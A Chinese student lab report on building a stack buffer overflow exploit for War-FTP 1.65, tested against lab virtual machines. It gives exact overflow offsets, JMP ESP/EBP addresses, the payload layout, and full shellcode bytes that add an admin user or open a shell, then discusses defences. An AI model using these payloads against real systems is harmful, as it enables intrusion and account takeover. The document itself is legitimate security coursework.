漏洞挖掘实践

来源:互联网 发布:绩效改进合力矩阵 编辑:程序博客网 时间:2024/06/05 10:58

完整图片版:http://1.johnhome.sinaapp.com/?p=157

一.目的

1.1掌握缓冲区溢出的原理

缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内

的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。

1.2掌握常用的缓冲区溢出方法

     缓冲区溢出攻击的目的在于得程序的控制权此,攻击者必须达到如下的两个目标在程序的地址空间里安排适当的代码通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。
根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法:在程序的地址空间里安排适当的代码的方法控制程序转移到攻击代码的方法

1.3理解缓冲区溢出的危害性

    缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性体现在易使服务程序停止运行,服务器死机甚至删除服务器上的数据或者可以执入并运行攻击代码。隐蔽性体现在软件漏洞难以避免,缓冲攻击的shellcode的执行不易被察觉,攻击的随机性及不可预测性。

1.4掌握防范和避免缓冲区溢出攻击的方法

     通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码强制写正确的代码利用编译器的边界检查来实现缓冲区的保护间接的方法在程序指针失效前进行完整性检查等。

二.内容

2.1分析war-ftp v1.65的基于用户名的缓冲溢出漏洞

实践课件上已指出:向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后,ESP中的内容包含了longString中的部分内容。需要对其进行验证分析。

2.2分析war-ftp v1.65的堆栈结构

    即分析堆栈中的EIPESPEBP等的精确位置。

2.3构造针对war-ftp v1.65exploit

    根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit.com)获取shellcode,构造exploit

三.环境

3.1调试工具

  CDB(安装Debugging Tools for Windows),这个实践使用CDB就足够了。

  OllyDBG个强大的具有可视化界面的 32 位汇编-分析调试器。

3.2编程语言

  使用C语言,能找到的shellcode只有Cperlrubyjavascriptraw的,本人只对C熟悉。

3.3网络环境

   使用虚拟机Vmware6.5,物理主机与虚拟机内装的windowsXP(192.168.85.3),windows server 2000(192.168.85.6),windows server 2003(192.168.85.5)所处网段为192.168.85.0/24

3.4其它工具

Shellcode生成工具:http://www.metasploit.com:55555/PAYLOADS

堆栈指针定位工具:ActivePerl,提供perl运行环境;安装metasploit后, frameworklib下的PatternCreate.pl可用于构造一个不重复的字符串;framework/sdk下的patternOffset.pl用来计算来前者产生的字符串中某段字符的偏移量。

四.设计(详细过程)

4.1验证War-ftp v1.65基于用户名的缓冲溢出漏洞

在虚拟主机WindowsXP中运行war-ftp 1.65,允许匿名登录;

在物理主机使用cuteftp登录,用户名使用依次增加的“AAA…”,当用户名长度超过480时,war-ftp 1.65出现异常甚至崩溃退出。使用cdb(480A)OllyDBG(481A)cdb(486A)调试截图如下:

 

4-1:用户名为480A

 

                            

 4-2:用户名为481A

 

4-3:用户名为486A

4-4:用户名为500A

    图4-3EIP=63202041,41AASCII码,结合图4-4,这隐约表示EIP的偏移量可能为485,这将在下一节将进行验证。

    以上截图表明War-ftp 1.65确实存在漏洞:

    “向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后,ESP中的内容包含了longString中的部分内容。” 

4.2分析War-ftp 1.65的堆栈结构

由于堆栈Ret里的地址被赋给EIPCPU继续执行EIP所指向的命令,即EIP寄存器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把shellcode放入预期的EIP指向的ESPEBP,还需要定位ESPEBP的精确位置。这里使用CDBPatternCreate.pl, PatternOffset.pl来实现。

首先使用 PatternCreate.pl生成1000个不重复的字符;

使用cdb挂起war-ftp 1.65,然后把一千个字符作为FTP登录的用户名连接war-ftp 1.65;

读取EIP的值,ESP,EBP的内容:

                                 

                                        图4-5EIP的值,ESP,EBP的内容

PatternOffset.pl计算RETESPEBP的偏移量:

                                                               

                                                                         4-6RETESPEBP的偏移量

结果表明,EIP指向第485位置(0开始计数)ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp 1.65的堆栈结构图如下:

                                  


 

 

 

4-7war-ftp v1.65的堆栈结构简图

4.3获取shellcode

由于对汇编语言不熟悉,没达到手工编写shellcode的境界,所以这次实践所用的shellcode都是来自于互联网,下边例举两个:

//shellcode,添加用户名为zane,密码为enaz的管理员用户:net user zane enaz /add

/* win32_adduser -  PASS=enaz EXITFUNC=process USER=zane Size=476 Encoder=Alpha2 http://metasploit.com */

unsigned char scode0[]=

“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49″

“\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x4a”

“\x58\x30\x42\x30\x50\x41\x6b\x41\x41\x5a\x42\x32\x41\x42\x32\x42″

“\x41\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69″

“\x78\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45\x6c\x6e”

“\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f\x4e\x6b\x70\x4f\x42″

“\x38\x4c\x4b\x43\x6f\x51\x30\x56\x61\x78\x6b\x30\x49\x4c\x4b\x76″

“\x54\x4c\x4b\x65\x51\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d”

“\x54\x4f\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41\x6a”

“\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77\x74\x74\x35\x79″

“\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41\x7a\x4b\x62\x46\x6e\x6b\x64″

“\x4c\x30\x4b\x6e\x6b\x33\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57″

“\x6c\x4c\x4b\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69″

“\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70\x6f\x75\x49″

“\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64\x4c\x4e\x6b\x74\x30\x45″

“\x4c\x4c\x6d\x4e\x6b\x63\x58\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d”

“\x50\x68\x30\x37\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53″

“\x6f\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f\x73\x6b”

“\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58\x78\x62\x62\x53\x62″

“\x48\x7a\x38\x4b\x4e\x4f\x7a\x66\x6e\x30\x57\x69\x6f\x38\x67\x61″

“\x73\x50\x6d\x55\x34\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54″

“\x6f\x45\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75\x41″

“\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62\x4e\x72\x45\x71″

“\x30\x71\x75\x70\x6e\x50\x61\x72\x5a\x37\x50\x46\x4f\x43\x71\x71″

“\x54\x43\x74\x41\x30\x36\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70″

“\x74\x55\x70\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64″

“\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74\x42\x4d\x62″

“\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71\x62\x51\x71\x72\x54\x50″

“\x6f\x54\x32\x31\x63\x45\x70\x71\x6a\x42\x41\x62\x4e\x41\x75\x55″

“\x70\x46\x4f\x30\x41\x30\x44\x30\x44\x43\x30\x4a”;

//攻击本地主机时,打开CMD界面

/*来自《缓冲区溢出就是这么简单-学院-黑客基地

www.hackbase.com/tech/2008-08-12/41442.html*/

unsigned char scode2[] =

“\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53″

“\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6″

“\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA”

“\x77\x1d\x80\x7c”

“\x52\x8D\x45\xF4\x50\xFF\x55\xF0″

“\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E”

“\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4″

“\x50\xB8″

“\xc7\x93\xbf\x77″

“\xFF\xD0″

“\x83\xC4\x12\x5D” ;

此外,还有

//绑定一个shell在4444端口,可远程telnet登录

/* win32_bind -  EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */

4.4构造exploit

这里的重点之一是寻找组成注入向量的跳转地址:

如果选择ESP为跳转的寄存器,则需要JMP ESP的指令地址,使用failwest在《软件漏洞分析入门_6_初级shellcode_定位缓冲区》提出的代码,在中文Windows系统核心dll中查找, 找到XP user32.dllJMP ESP:0x77d7c5fb, XP kernel32.dllJMP ESP:0x7c834d7b,此外可以使用中文WIN 2K/XP/2003下通用的JMP ESP0x7ffa4512;如果选择EBP为跳转的寄存器,则需要JMP EBP的指令地址,这可以使用中文WIN 2K/XP/2003下通用的JMP EBP0x7ffa4967

重点之二是构造攻击代码:

由于shellcode可能很长,所以使用RNS模式(构造一个大的数组,数组的前一部分填充R,即返回地址,这里填充的R的数目必须能够覆盖retR的值必须指向大量nops中的任何一个,这样经过一定的nops空转后,必然能执行shellcode。)

                         图4-8:使用JMP ESPexploit示意图

4-8exploit构造一个数组,以命令USER紧跟一个空格开头,后接485NOP空转指令,紧接着的4个字节用JMP ESP地址如“\x12\x45\xfa\x7f”来填充(这是因为x86系统是little-endian方式),之后4字节继续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以\r\n表示FTP USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode

                           图4-9:使用JMP EBPexploit示意图

4-9exploit构造一个数组,以命令USER紧跟一个空格开头,后接485NOP空转指令,紧接着的4个字节用JMP ESP地址如“\x12\x45\xfa\x7f”来填充(这是因为x86系统是little-endian方式),之后92字节继续用NOP填充,然后从第586字节开始把shellcode复制过去,最后以\r\n表示FTP USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第581字节开始的EBP执行shellcode

4.5编程实现

根据用户的选择,构造溢出字符串(即构造后接shellcodeUSER命令:

USER  exploitcode\r\n;

根据用户提供的数据,使用Socket,使用connect连接目标主机;

向目标主机发送溢出字符串(send);

关闭连接。

4.6程序测试(见结论)

    编写的程序根据用户输入的目标IP及攻击编号进行相应的攻击,具体结果请见下边的“实践结论”。

五.结论

DOS下运行warftpattack,可得到使用说明及可用的攻击类型指示:

5-1:程序运行主界面

使用该程序的正确命令为:

Warftpattack <host> <attacknumber>,例如 warftpattack 192.168.85.3 0

提供了多种攻击类型,其中0号攻击在Windows 2K/XP/2003上测试通过,其它只在XP上通过。

5.1攻击远程主机建立管理员用户

使用命令warftpattack 192.168.85.6 0攻击在虚拟机中的windows 2000Server,结果截图如下:

 

5-2:攻击远程主机建立管理员用户

上图的左半部分是在物理主机运行warftpattack的提示:使用windows 2k/xp/2003 的通用的JMP ESP:0x7ffa4512,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=process,右半部分则表明目标主机确实新建了zane用户。

5.2攻击远程主机打开端口4444

使用命令warftpattack 192.168.85.3 1攻击在虚拟机中的windows XP,结果截图如下:

 

5-3:攻击远程主机打开4444端口

上图的左上半部分是在物理主机运行warftpattack的提示:使用windows 2k/xp/2003 的通用的JMP ESP:0x7ffa4512,绑定一个shell4444端口,可远程telnet登录,右上部分则表明正以telnet登录被攻击主机,下半部分表明登录成功,顺利登录到了被攻击主机的war-ftp的安装目录下。

5.3攻击本地主机打开shell

使用命令warftpattack 192.168.85.3 2攻击本地主机127.0.0.1,结果截图如下:

 

5-4:攻击本地主机打开shell

上图的上半部分是运行warftpattack的提示:使用windowsXP user32.dllJMP ESP:0x77d7c5fb,攻击本地主机127.0.0.1时弹出CMD界面,下半部分是运行程序后弹出的shell界面,表明达到预期的攻击效果。

5.4使用非通用的JMP ESP 

使用命令warftpattack 192.168.85.3 3攻击在虚拟机中的windows XP,结果截图如下:

 

5-5:使用非通用的JMP ESP

上图的左半部分是在物理主机运行warftpattack的提示:使用windowsXP kernel32.dllJMP ESP:0x7c834d7b,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=thread,右半部分被攻击的主机用户账户攻击前后的情况。

    命令warftpattack 192.168.85.3 3及命令warftpattack 192.168.85.3 2使用的分别是Windows XP 系统的核心kernel32.dlluser32.dll中的JMP ESP地址。

5.5使用JMP EBP

使用命令warftpattack 192.168.85.3 4攻击在虚拟机中的windows XP,结果截图如下:

5-6:使用JMP EBP

上图的左半部分是在物理主机运行warftpattack的提示:使用windows 2k/xp/2003 的通用的JMP EBP:0x7ffa4967,在远程主机新建密码为enaz管理员用户zane,EXITFUNC=process,右半部分被攻击的主机用户账户攻击前后的情况。

5.6结论

    所编写的程序能完成对运行于中文windowsXP上的war-ftp 1.65的攻击,并执行新建管理员用户(0号攻击对windows2000Server也有效)或打开某个端口或打开shell。与实践例程相比,其特色之一在于使用了WindowsXP核心dll中的JMP ESP地址,特色之二在于使用EBP作为跳转寄存器,特色之三是能打开目标主机上的4444端口或者本地主机的shell

六.实践体会

6.1针对缓冲溢出的防御方法

从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助一些工具如编译器来实现,像这次实践的war-ftp 1.65就应该对用户名数组边界进行检测;从运行状态来看,可进行动态保护,主要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-安全的编程语言如Java;此外还可以从系统的角度阻止攻击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,WindowsXP SP2引入的DEP(Data Execution Prevention)数据执行保护,一直延续到此后的Windows Server 2003Windows Server 2008,后者的Address Space Load Randomization让缓冲区溢出攻击变得非常困难Windows 7中,DEP默认是激活的。

6.2实践中遇到的问题

实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐步加深了对相关技术的理解。

1) War-ftp1.65基于用户名的漏洞无法呈现

在上完实践指导课回来后,立刻在虚拟机WindowsXP中运行在课堂上拷贝过来的war-ftp 1.65,在物理主机WindowsXPDOS下使用FTP命令连接虚拟机中的war-ftp。按照实践提示,当USER后接超过480个字符后,目标主机的war-ftp程序应该崩溃,但即使我把字符数增加到10002000war-ftp程序仍安然无恙!这个问题困扰了我几天。于是发邮件请教,检查了是否为war-ftp1.65原始版本,增加了字符数量,但漏洞仍未呈现。后来bitixy@yahoo.cn同学的邮件提醒了我,这可能是WindowsXPSP2 DOSFTP命令对USER长度有限制,即在传输到目标主机时产生了截断!经过测试,发现确实如此,当USER长度超过78个字符时,系统只截取前78个字符发送给目标主机。知道原因后,我采用了CuteFTP进行登录,当用户名长度超过480个字符时,漏洞呈现,该问题解决。这个问题如果我当时注意并仔细分析了war-ftp的状态栏显示的用户名就应该能早点解决。

2) 使用patterncreate.pl生成的字符串超过1132时不能定位EIP

当使用patterncreate.pl生成200012001133字符进行攻击时,读取到的EIP,ESP,EBP的内容都不在这些生成的字符中,当生成1132字符进行攻击时,能定位到EIP,ESP,EBP位置。为什么会这样?期待各位的解析。但这提示我要注意加入的shellcode的长度,含有shellcode的不包括“USER ”字符串的字符数组长度不能超过1132,否则攻击无效。最后实践证明这个猜测正确!

3) Metasploit生成的Shellcode不能使用

开始是下载Metasploit 3framework,选择其中的WEB界面,从payloads生成shellcode,结果生成的shellcode都不能达到预期的攻击效果。与人交流,并在网上搜索了很久,最后得到的有用信息有:要选择对应的平台如WIN32平台,EXITFUNC可以选process,thread,但对于本实践构造的exploit不能选择seh,至于为什么只在一个邮件列表回复中找到这样的话:

When EXITFUNC is set to ”thread”, it uses ExitThread(), when it is ”process”, it uses ExitProcess(), and when it is set to ”seh”, it forces an exception (call 0×0 iirc).”,另外she的全称是“Structured Exception Handler”。

   至今未能弄清其具体原因。

更关键的设置在于Encoder的选取,为了增加生成的shellcode的可用性,如果选择从http://www.metasploit.com:55555生成payloads,务必要选择Alpha2(Saumil Shah在《Writing Metasploit Plugins》中指出“Alpha2 generates resultant shellcode which is only alphanumeric)PexAlphaNum。具体原因有待进一步研究。

4) 如何查找JMP ESP,JMP EBP地址

实践例程提供了win 2K/XP/2003的通用JMP ESP地址:0x7ffa4512,网上还提供了使用windows 2k/xp/2003 的通用的JMP EBP:0x7ffa4967地址。如何查找到具体版本的核心dll中的JMP ESP地址,这可用OllyDBGOllyUni插件或Metasploit Framework中的相关插件完成,也可以根据JMP ESP的机器码0xFFE4编程载入相关的*.dll来查找。

5) 是否只能用JMP ESP

开始以为跳转的寄存器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储shellcode

6) 用于攻击的字符数组的合适长度

这个问题之前一直没找到最重要的依据,在解决了第2)个问题时,这个问题得到了比较好的答案,即含有shellcode的不包括“USER ”字符串的字符数组长度不能超过1132,由于shellcode可能比较长,所以可以预设字符数组长度为1132+5=1137

7) 不能返回被攻击的远程主机shell

即在运行攻击命令后,本地主机自动获得远程主机的shell。这个问题尚未解决。这可能与这样的shellcode较长导致字符数组长度超过war-ftp 1.65缓冲总大小有关,也可能是与socket编程有关。

七.文献阅读

[1] Aleph One. Smashing the Stack for Fun and Profit

http://www.shmoo.com/phrack/49/p49-14

论文详细描述了Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。Aleph One 的贡献还在于给出了如何写开一个shell Exploit 的方法,并给这段代码赋予shellcode 的名称,而这个称呼沿用至今。编译一段使用系统调用的简单的程序,通过调试器抽取汇编代码,并根据需要修改这段汇编代码。他所给出的代码可以在x86/LinuxSPARC/Solaris Sparc/SunOS 系统正确的工作。受到Aleph One 的文章的启发,Internet 上出现了大量的文章讲述如何利用缓冲区溢出和如何写一段所需的Exploit。这可谓具有实际意义的缓冲溢出攻击开山之作。

[2] Sergio Alvarez.Intro to Win32 Exploits

 论文选择‘War-FTPdvl.65′ 的一个stack缓冲区溢出漏洞,文章从漏洞发现、漏洞调试到漏洞利用,详细讲解如何找到buffer长度,如何寻找‘JMP ESP’地址,如何写exploit。使用了python,fuzzer v1.0,OllyDBG,OllyUni工具。这对本实践有较大的启发作用,但对本实践的直接作用不大。

[3] failwest. 软件漏洞分析入门

     这是一个关于软件漏洞分析入门的系列,主要看了其中的初级shellcode部分,对软件的堆栈结构及缓冲区定位有着非常详细的介绍,图文并茂,并提供了获取JMP ESP的源代码。

[4] C Cowan.Buffer Overflows:Attacks and Defenses for the Vulnerability of the Decade

文章提出了缓冲区溢出漏洞详细的分类和分析缓冲区溢出漏洞,攻击,以及防御系统。论文提出了几种防止缓冲区溢出的防范方法,数组必须进行越界检查,指针完整性检查,兼容性和性能也必须考虑,使用类型安全语言编写程序等。

本文完整代码:https://github.com/jiangzhw/stackoverflow


本文基于 署名 3.0 中国大陆 许可协议发布,未经本人许可不得转载,否则引发的法律后果自负。

原创粉丝点击